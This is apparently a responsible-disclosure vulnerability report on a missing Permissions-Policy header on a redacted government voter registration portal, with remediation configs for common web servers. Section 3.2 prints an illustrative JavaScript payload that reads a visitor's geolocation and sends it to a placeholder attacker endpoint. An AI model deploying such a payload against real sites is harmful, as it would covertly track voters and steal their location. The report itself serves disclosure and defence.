

## VULNERABILITY ASSESSMENT REPORT

Web Application Security Testing — HTTP Security Header Analysis

# Missing Permissions-Policy

## HTTP Security Header Misconfiguration

---

Vulnerability Class: Server Security Misconfiguration (VRT)  
CWE Reference: CWE-693 — Protection Mechanism Failure  
Base Severity: P5 (Informational / Low) — Escalates to Medium in attack chain  
Target Platform: Government Voter Registration Web Portal  
Target Domain: [REDACTED] — withheld per responsible disclosure

### BASE SEVERITY

**LOW / P5**

*Medium when chained with  
XSS/SRI*

---

Report Reference: VAR-2025-HDR-012  
Report ID: [REDACTED]  
Date of Assessment: 20 July 2025  
Classification: **CONFIDENTIAL — For Authorised Personnel Only**

## 1. Executive Summary

During a security review of a government-operated voter registration web portal, it was identified that the application does not implement the Permissions-Policy HTTP response header. This security control is designed to restrict which browser-level features and APIs — such as geolocation, camera, and microphone — a web page or its embedded third-party scripts are permitted to invoke.

In isolation, the absence of this header is classified as a Low severity misconfiguration (P5). However, the risk profile of this finding escalates materially when considered in the context of the application’s broader attack surface. Should an adversary successfully exploit a Cross-Site Scripting (XSS) vulnerability or a Subresource Integrity (SRI) failure identified on a related subdomain, the lack of a Permissions-Policy boundary would allow injected scripts to programmatically access sensitive user hardware and location data without additional barriers.

**⚠ Chained Risk Escalation**

The standalone severity of this finding is P5 (Informational/Low). When chained with an XSS or SRI bypass on the same origin or a related subdomain serving shared scripts, the effective severity escalates to Medium. For a government voter registration platform handling citizen privacy, this combination warrants prompt attention.

## Vulnerability Summary

|                         |                                                           |
|-------------------------|-----------------------------------------------------------|
| Vulnerability Name      | Missing Permissions-Policy HTTP Response Header           |
| Severity                | P5 — Low / Informational (Medium in attack chain)         |
| Vulnerability Class     | Server Security Misconfiguration (VRT)                    |
| CWE Reference           | CWE-693: Protection Mechanism Failure                     |
| OWASP Category          | A05:2021 — Security Misconfiguration                      |
| Target Platform         | Government Voter Registration Web Portal                  |
| Target Domain           | [REDACTED] — withheld per responsible disclosure policy   |
| Tool Used               | Burp Suite — HTTP response header analysis                |
| Authentication Required | None — Header observable in unauthenticated HTTP response |
| Report Reference        | VAR-2025-HDR-012                                          |
| Date Identified         | 20 July 2025                                              |
| Status                  | Open — Awaiting Remediation                               |

## 2. Technical Analysis

The Permissions-Policy header (formerly known as Feature-Policy, deprecated in favour of the current specification) allows a server to declare an explicit allowlist of browser features accessible to the document and any embedded content. When absent, the browser defaults to its own built-in permission prompts and grants, providing no server-enforced restriction layer.

2.1 Observed HTTP Response Headers

An HTTP response was captured from the target application using Burp Suite. Inspection of the response headers confirmed the presence of several security controls, including a Content-Security-Policy, HSTS, X-Frame-Options, and X-Content-Type-Options. However, no Permissions-Policy header was present in any observed response, including those from the application root and authenticated session pages.

```
# HTTP Response - Captured via Burp Suite
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Content-Security-Policy: default-src 'self'; ...
Strict-Transport-Security: max-age=2592000
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
...
[MISSING: Permissions-Policy header not present in any response]
```

2.2 Security Context: Defence in Depth

The Permissions-Policy header functions as a defence-in-depth control. Its purpose is not to be the sole security mechanism, but to constrain the capabilities available to any code executing within the browser context of the application — including injected or third-party code. The following table summarises the browser features left unrestricted by the absence of this header:

| Browser Feature | Default Browser Behaviour (No Policy)       | Risk if Exploited                       |
|-----------------|---------------------------------------------|-----------------------------------------|
| geolocation     | User prompted; silent if previously granted | Physical location exfiltration          |
| camera          | User prompted per session                   | Covert capture if social engineered     |
| microphone      | User prompted per session                   | Audio interception if social engineered |
| payment         | Available if Payment API implemented        | Fraudulent payment initiation           |
| usb             | Available on supporting browsers            | Peripheral device enumeration           |

3. Proof of Concept — Exploitation Scenario

The following attack scenario demonstrates how the missing Permissions-Policy header becomes a material risk when chained with a script injection vulnerability. This scenario is presented for illustrative purposes to communicate the realistic threat model to the affected organisation.

### 3.1 Attack Chain Overview

|    |                                                                                                                                                                                                                                                                                                                                                                            |
|----|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 01 | <b>Initial Vector: Script Injection Identification</b><br>An attacker identifies a script injection point on the target platform, such as a Subresource Integrity (SRI) failure on a related subdomain serving shared JavaScript assets. An unverified external script reference constitutes a viable injection vector.                                                    |
| 02 | <b>Payload Delivery: Geolocation Exfiltration Script</b><br>The attacker injects a JavaScript payload that invokes the browser's Geolocation API. Because no Permissions-Policy restricts the geolocation directive, the browser processes the API call without server-side refusal.                                                                                       |
| 03 | <b>Data Exfiltration: Physical Location Transmitted</b><br>The browser either prompts the user (who may trust the legitimate-appearing government site and approve) or silently retrieves location coordinates if the user has previously granted geolocation permissions to the domain. Precise coordinates are transmitted to an attacker-controlled collector endpoint. |

### 3.2 Illustrative Malicious Payload

The following JavaScript is representative of the type of payload an attacker would inject to exploit this attack chain. Sensitive endpoint values have been replaced with placeholder notation.

```
# Illustrative Payload — JavaScript
// Geolocation exfiltration payload (illustrative — injected via XSS/SRI
vector)
navigator.geolocation.getCurrentPosition(function(position) {
    var lat  = position.coords.latitude;
    var long = position.coords.longitude;
    fetch('https://[ATTACKER-CONTROLLED-ENDPOINT]/log?lat=' + lat + '&long=' +
long);
});

// Without Permissions-Policy: geolocation=() on the server, the browser
// processes this API call. The server has no mechanism to refuse it.
```

#### i Silent Execution Condition

The critical risk factor is the silent execution path. If a voter has previously visited the legitimate government site and granted geolocation permission — a common occurrence given that some voter lookup tools may request location — the browser will not issue a new prompt. The exfiltration payload will execute silently, transmitting precise GPS coordinates to the attacker without any user interaction or visible indication.

## 4. Impact Analysis

The following impact dimensions are assessed in the context of this specific deployment: a government-operated voter registration platform handling citizen identity and participation data.

### 4.1 Privacy Breach — Voter Location Disclosure

The geolocation API, if invoked by injected script, can resolve a voter’s physical location to within metres using GPS, Wi-Fi triangulation, or cell tower data. For a government voter registration platform, this constitutes an exposure of sensitive political and demographic information. Depending on jurisdiction, disclosure of a voter’s location in the context of their electoral participation may carry specific legal and regulatory implications under data protection and election integrity frameworks.

### 4.2 Hardware Abuse — Camera and Microphone

Although the camera and microphone require explicit user permission in most modern browser configurations, a user interacting with a trusted government domain is statistically more likely to approve such prompts if they appear. Injected scripts leveraging social engineering pretexts (e.g., a false prompt claiming accessibility features require microphone access) could result in covert audio or visual capture of the user’s environment.

### 4.3 Reputational and Public Trust Impact

The platform in question serves a civic function directly related to democratic participation. Any security incident involving the exposure of voter data — particularly one exploiting a publicly disclosed misconfiguration — would carry significant reputational consequences for the responsible authority. The perception of inadequate privacy controls on an election-related system can materially reduce public confidence in the integrity of the broader electoral process, independent of whether actual harm occurred.

|                  |                                                                                        |
|------------------|----------------------------------------------------------------------------------------|
| Confidentiality  | MEDIUM — Voter location and hardware data at risk in chained scenario                  |
| Integrity        | NONE — Header absence does not affect data integrity in isolation                      |
| Availability     | NONE — No service disruption associated with this finding                              |
| User Interaction | REQUIRED — User must be present; silent execution possible if prior permission granted |
| Scope            | CHANGED — Attacker can access browser hardware resources outside application boundary  |

## 5. Remediation Recommendations

The following remediation actions are listed in order of implementation priority. The primary fix (Section 5.1) requires no application code changes and can be deployed within a single server configuration update.

## 5.1 Implement the Permissions-Policy Response Header [Priority: High]

A Permissions-Policy header should be added to all HTTP responses served by the application. The recommended configuration below applies a deny-all policy for sensitive browser features that have no legitimate use in a voter registration portal. This is the single most effective remediation for this finding.

```
# Recommended Header
# Recommended Permissions-Policy header value
# Apply this to all responses from the application origin

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(),
usb=()

# camera=()      - Disallows all access to the device camera
# microphone=()  - Disallows all access to the device microphone
# geolocation=() - Disallows all access to the user's physical location
# payment=()     - Disallows the Payment Request API
# usb=()         - Disallows access to connected USB peripheral devices
```

## 5.2 Server Configuration Implementation

The method of implementation depends on the web server or reverse proxy in use. The following configurations are provided for the most common deployment platforms:

```
# Server Configuration Examples
# --- Microsoft IIS (web.config) ---
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <add name="Permissions-Policy"
        value="camera=(), microphone=(), geolocation=(), payment=(),
usb=()" />
    </customHeaders>
  </httpProtocol>
</system.webServer>

# --- Apache (.htaccess or httpd.conf) ---
Header always set Permissions-Policy "camera=(), microphone=(),
geolocation=(), payment=(), usb=()"

# --- Nginx (server or location block) ---
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(),
payment=(), usb=()" always;
```

## 5.3 Address Related Subresource Integrity Finding [Priority: High]

This finding's risk is directly amplified by any co-existing SRI failure on the platform or its related subdomains. The Permissions-Policy remediation does not eliminate the XSS/SRI injection vector — it only removes one capability available to an attacker who successfully exploits that vector.

Subresource Integrity checks should be implemented on all externally hosted script and stylesheet references to address the root injection risk in parallel.

#### 5.4 Verify Implementation with Automated Scanning [Priority: Medium]

Following deployment of the header, the implementation should be verified using the following methods:

- Use Mozilla Observatory (<https://observatory.mozilla.org>) to scan the domain and confirm the header is present and correctly valued.
- Use [securityheaders.com](https://securityheaders.com) to obtain a full header compliance report and identify any remaining gaps.
- Re-run Burp Suite header analysis to confirm the Permissions-Policy header appears in live server responses across all application routes.
- Include Permissions-Policy presence in automated regression testing to prevent future deployment regressions.

## 6. References

- W3C Permissions Policy Specification — <https://www.w3.org/TR/permissions-policy/>
- MDN Web Docs — Permissions-Policy Header Reference — <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy>
- OWASP Secure Headers Project — <https://owasp.org/www-project-secure-headers/>
- CWE-693: Protection Mechanism Failure — <https://cwe.mitre.org/data/definitions/693.html>
- OWASP Top 10 2021 — A05: Security Misconfiguration
- Mozilla Observatory — <https://observatory.mozilla.org>
- Security Headers Grader — <https://securityheaders.com>

---

### End of Report

VAR-2025-HDR-012 — Missing Permissions-Policy Header  
*CONFIDENTIAL — Target domain and report ID redacted for responsible disclosure*